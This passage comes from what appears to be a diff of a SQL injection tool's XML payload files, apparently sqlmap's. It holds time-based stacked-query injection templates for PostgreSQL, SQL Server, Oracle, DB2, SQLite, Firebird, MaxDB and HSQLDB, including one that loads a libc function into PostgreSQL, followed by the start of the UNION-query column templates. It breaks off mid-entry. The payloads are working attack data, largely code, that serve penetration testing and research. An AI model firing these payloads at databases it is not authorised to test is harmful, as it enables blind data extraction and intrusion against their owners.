<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
|
||||
<request>
|
||||
<payload>;SELECT PG_SLEEP([SLEEPTIME])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>PostgreSQL</dbms>
|
||||
<dbms_version>> 8.1</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>PostgreSQL stacked queries (heavy query - comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>2</level>
|
||||
<risk>2</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector>
|
||||
<request>
|
||||
<payload>;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>PostgreSQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>PostgreSQL stacked queries (heavy query)</title>
|
||||
<stype>4</stype>
|
||||
<level>5</level>
|
||||
<risk>2</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector>
|
||||
<request>
|
||||
<payload>;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>PostgreSQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>PostgreSQL < 8.2 stacked queries (Glibc - comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
|
||||
<request>
|
||||
<payload>;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>PostgreSQL</dbms>
|
||||
<dbms_version>< 8.2</dbms_version>
|
||||
<os>Linux</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>PostgreSQL < 8.2 stacked queries (Glibc)</title>
|
||||
<stype>4</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
|
||||
<request>
|
||||
<payload>;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>PostgreSQL</dbms>
|
||||
<dbms_version>< 8.2</dbms_version>
|
||||
<os>Linux</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase stacked queries (comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'</vector>
|
||||
<request>
|
||||
<payload>;WAITFOR DELAY '0:0:[SLEEPTIME]'</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase stacked queries</title>
|
||||
<stype>4</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'</vector>
|
||||
<request>
|
||||
<payload>;WAITFOR DELAY '0:0:[SLEEPTIME]'</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL</vector>
|
||||
<request>
|
||||
<payload>;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Oracle</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)</title>
|
||||
<stype>4</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL</vector>
|
||||
<request>
|
||||
<payload>;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Oracle</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Oracle stacked queries (heavy query - comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>2</level>
|
||||
<risk>2</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL</vector>
|
||||
<request>
|
||||
<payload>;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Oracle</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Oracle stacked queries (heavy query)</title>
|
||||
<stype>4</stype>
|
||||
<level>5</level>
|
||||
<risk>2</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL</vector>
|
||||
<request>
|
||||
<payload>;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Oracle</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Oracle stacked queries (DBMS_LOCK.SLEEP - comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END</vector>
|
||||
<request>
|
||||
<payload>;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Oracle</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Oracle stacked queries (DBMS_LOCK.SLEEP)</title>
|
||||
<stype>4</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END</vector>
|
||||
<request>
|
||||
<payload>;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Oracle</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Oracle stacked queries (USER_LOCK.SLEEP - comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END</vector>
|
||||
<request>
|
||||
<payload>;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Oracle</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Oracle stacked queries (USER_LOCK.SLEEP)</title>
|
||||
<stype>4</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END</vector>
|
||||
<request>
|
||||
<payload>;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Oracle</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 stacked queries (heavy query - comment)</title>
|
||||
<stype>5</stype>
|
||||
<level>3</level>
|
||||
<risk>2</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])</vector>
|
||||
<request>
|
||||
<payload>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 stacked queries (heavy query)</title>
|
||||
<stype>5</stype>
|
||||
<level>5</level>
|
||||
<risk>2</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])</vector>
|
||||
<request>
|
||||
<payload>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SQLite > 2.0 stacked queries (heavy query - comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>3</level>
|
||||
<risk>2</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)</vector>
|
||||
<request>
|
||||
<payload>;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SQLite</dbms>
|
||||
<dbms_version>> 2.0</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SQLite > 2.0 stacked queries (heavy query)</title>
|
||||
<stype>4</stype>
|
||||
<level>5</level>
|
||||
<risk>2</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)</vector>
|
||||
<request>
|
||||
<payload>;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SQLite</dbms>
|
||||
<dbms_version>> 2.0</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Firebird stacked queries (heavy query - comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>4</level>
|
||||
<risk>2</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE</vector>
|
||||
<request>
|
||||
<payload>;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Firebird</dbms>
|
||||
<dbms_version>>= 2.0</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Firebird stacked queries (heavy query)</title>
|
||||
<stype>4</stype>
|
||||
<level>5</level>
|
||||
<risk>2</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE</vector>
|
||||
<request>
|
||||
<payload>;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Firebird</dbms>
|
||||
<dbms_version>>= 2.0</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SAP MaxDB stacked queries (heavy query - comment)</title>
|
||||
<stype>5</stype>
|
||||
<level>4</level>
|
||||
<risk>2</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3</vector>
|
||||
<request>
|
||||
<payload>;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SAP MaxDB</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SAP MaxDB stacked queries (heavy query)</title>
|
||||
<stype>5</stype>
|
||||
<level>5</level>
|
||||
<risk>2</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3</vector>
|
||||
<request>
|
||||
<payload>;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SAP MaxDB</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>HSQLDB >= 1.7.2 stacked queries (heavy query - comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>4</level>
|
||||
<risk>2</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END</vector>
|
||||
<request>
|
||||
<payload>;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>HSQLDB</dbms>
|
||||
<dbms_version>>= 1.7.2</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>HSQLDB >= 1.7.2 stacked queries (heavy query)</title>
|
||||
<stype>4</stype>
|
||||
<level>5</level>
|
||||
<risk>2</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END</vector>
|
||||
<request>
|
||||
<payload>;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>HSQLDB</dbms>
|
||||
<dbms_version>>= 1.7.2</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>HSQLDB >= 2.0 stacked queries (heavy query - comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>4</level>
|
||||
<risk>2</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END</vector>
|
||||
<request>
|
||||
<payload>;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>HSQLDB</dbms>
|
||||
<dbms_version>>= 2.0</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>HSQLDB >= 2.0 stacked queries (heavy query)</title>
|
||||
<stype>4</stype>
|
||||
<level>5</level>
|
||||
<risk>2</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END</vector>
|
||||
<request>
|
||||
<payload>;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>HSQLDB</dbms>
|
||||
<dbms_version>>= 2.0</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
<!-- TODO: if possible, add payload for Microsoft Access -->
|
||||
<!-- End of stacked queries tests -->
|
||||
</root>
|
||||
2042
data/xml/payloads/time_blind.xml
Normal file
2042
data/xml/payloads/time_blind.xml
Normal file
File diff suppressed because it is too large
Load Diff
742
data/xml/payloads/union_query.xml
Normal file
742
data/xml/payloads/union_query.xml
Normal file
@@ -0,0 +1,742 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<root>
|
||||
<!-- UNION query tests -->
|
||||
<test>
|
||||
<title>Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)</title>
|
||||
<stype>6</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||
<char>[CHAR]</char>
|
||||
<columns>[COLSTART]-[COLSTOP]</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Generic UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom)</title>
|
||||
<stype>6</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||
<char>NULL</char>
|
||||
<columns>[COLSTART]-[COLSTOP]</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Generic UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom)</title>
|
||||
<stype>6</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||
<char>[RANDNUM]</char>
|
||||
<columns>[COLSTART]-[COLSTOP]</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Generic UNION query ([CHAR]) - 1 to 10 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||
<char>[CHAR]</char>
|
||||
<columns>1-10</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Generic UNION query (NULL) - 1 to 10 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||
<char>NULL</char>
|
||||
<columns>1-10</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Generic UNION query ([RANDNUM]) - 1 to 10 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||
<char>[RANDNUM]</char>
|
||||
<columns>1-10</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Generic UNION query ([CHAR]) - 11 to 20 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||
<char>[CHAR]</char>
|
||||
<columns>11-20</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Generic UNION query (NULL) - 11 to 20 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||
<char>NULL</char>
|
||||
<columns>11-20</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Generic UNION query ([RANDNUM]) - 11 to 20 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||
<char>[RANDNUM]</char>
|
||||
<columns>11-20</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Generic UNION query ([CHAR]) - 21 to 30 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||
<char>[CHAR]</char>
|
||||
<columns>21-30</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Generic UNION query (NULL) - 21 to 30 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||
<char>NULL</char>
|
||||
<columns>21-30</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Generic UNION query ([RANDNUM]) - 21 to 30 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||
<char>[RANDNUM]</char>
|
||||
<columns>21-30</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Generic UNION query ([CHAR]) - 31 to 40 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
